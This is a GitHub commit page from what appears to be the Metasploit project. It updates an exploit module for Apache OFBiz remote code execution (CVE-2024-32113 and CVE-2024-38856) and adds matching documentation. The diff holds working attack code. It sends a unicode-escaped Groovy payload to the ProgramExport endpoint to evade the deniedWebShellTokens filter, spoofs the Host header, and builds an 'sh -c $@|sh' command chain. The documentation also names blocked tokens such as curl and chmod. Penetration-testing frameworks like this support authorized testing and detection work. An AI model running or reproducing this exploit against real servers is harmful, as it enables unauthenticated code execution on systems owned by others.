Skip to content

Commit 6c24e0a

Browse files
committed
Land rapid7#19393, Update OFBiz ProgramExport RCE for Patch Bypass
Merge branch 'land-19393' into upstream-master
2 parents 2711acf + c982aab commit 6c24e0a

File tree

2 files changed

+32
-10
lines changed

2 files changed

+32
-10
lines changed

documentation/modules/exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,19 @@ Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulne
33
endpoint `/webtools/control/forgotPassword` allows an attacker to access the `ProgramExport` endpoint which in
44
turn allows for remote code execution in the context of the user running the application.
55

6+
It was then discovered that the use of the path traversal vulnerability is not required in order to access
7+
the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
8+
and was patched in 18.12.15.
9+
10+
This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
11+
module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.
12+
13+
CVE-2024-32113, Path Traversal, patched in 18.12.13:
14+
`/webtools/control/forgotPassword;../ProgramExport`
15+
16+
CVE-2024-38856, Incorrect Authorization, patched in 18.12.14:
17+
`/webtools/control/forgotPassword/ProgramExport`
18+
619
### Description
720
The module can exploit Apache OFBiz running on both Windows and Linux. OFBiz has list of `deniedWebShellTokens`
821
which includes strings like `curl` and `chmod` which attempts to prevent ProgramExport from being exploited. The list

modules/exploits/multi/http/apache_ofbiz_forgot_password_directory_traversal.rb

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -13,11 +13,19 @@ def initialize(info = {})
1313
super(
1414
update_info(
1515
info,
16-
'Name' => 'Apache OFBiz Forgot Password Directory Traversal',
16+
'Name' => 'Apache OFBiz forgotPassword/ProgramExport RCE',
1717
'Description' => %q{
18-
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
19-
endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in
20-
turn allows for remote code execution in the context of the user running the application.
18+
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The
19+
vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint
20+
which in turn allows for remote code execution in the context of the user running the application. This was
21+
patched in 18.12.14.
22+
23+
It was then discovered that the use of the path traversal vulnerability is not required in order to access
24+
the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
25+
and was patched in 18.12.15.
26+
27+
This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
28+
module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.
2129
},
2230
'Author' => [
2331
'Mr-xn', # PoC
@@ -26,7 +34,8 @@ def initialize(info = {})
2634
'References' => [
2735
[ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],
2836
[ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],
29-
[ 'CVE', '2024-32113']
37+
[ 'CVE', '2024-32113'],
38+
[ 'CVE', '2024-38856']
3039
],
3140
'License' => MSF_LICENSE,
3241
'Platform' => %w[linux win],
@@ -69,9 +78,9 @@ def initialize(info = {})
6978
end
7079

7180
def send_cmd_injection(cmd)
72-
data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"
81+
data = "groovyProgram=#{to_unicode_escape("throw new Exception('#{cmd}'.execute().text);")}"
7382
send_request_cgi({
74-
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword;/ProgramExport'),
83+
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword/ProgramExport'),
7584
'headers' => {
7685
'HOST' => '127.0.0.1'
7786
},
@@ -84,9 +93,9 @@ def check
8493
echo_test_string = rand_text_alpha(8..12)
8594
case target['Type']
8695
when :win_cmd
87-
test_payload = to_unicode_escape("cmd.exe /c echo #{echo_test_string}")
96+
test_payload = "cmd.exe /c echo #{echo_test_string}"
8897
when :unix_cmd
89-
test_payload = to_unicode_escape("echo #{echo_test_string}")
98+
test_payload = "echo #{echo_test_string}"
9099
else
91100
return CheckCode::Unknown('Please select a valid target')
92101
end
@@ -112,7 +121,7 @@ def exploit
112121
when :win_cmd
113122
res = send_cmd_injection(payload.encoded)
114123
when :unix_cmd
115-
res = send_cmd_injection(to_unicode_escape("sh -c $@|sh . echo #{payload.raw}"))
124+
res = send_cmd_injection("sh -c $@|sh . echo #{payload.raw}")
116125
else
117126
fail_with(Failure::BadConfig, 'Invalid target specified')
118127
end

0 commit comments

Comments
 (0)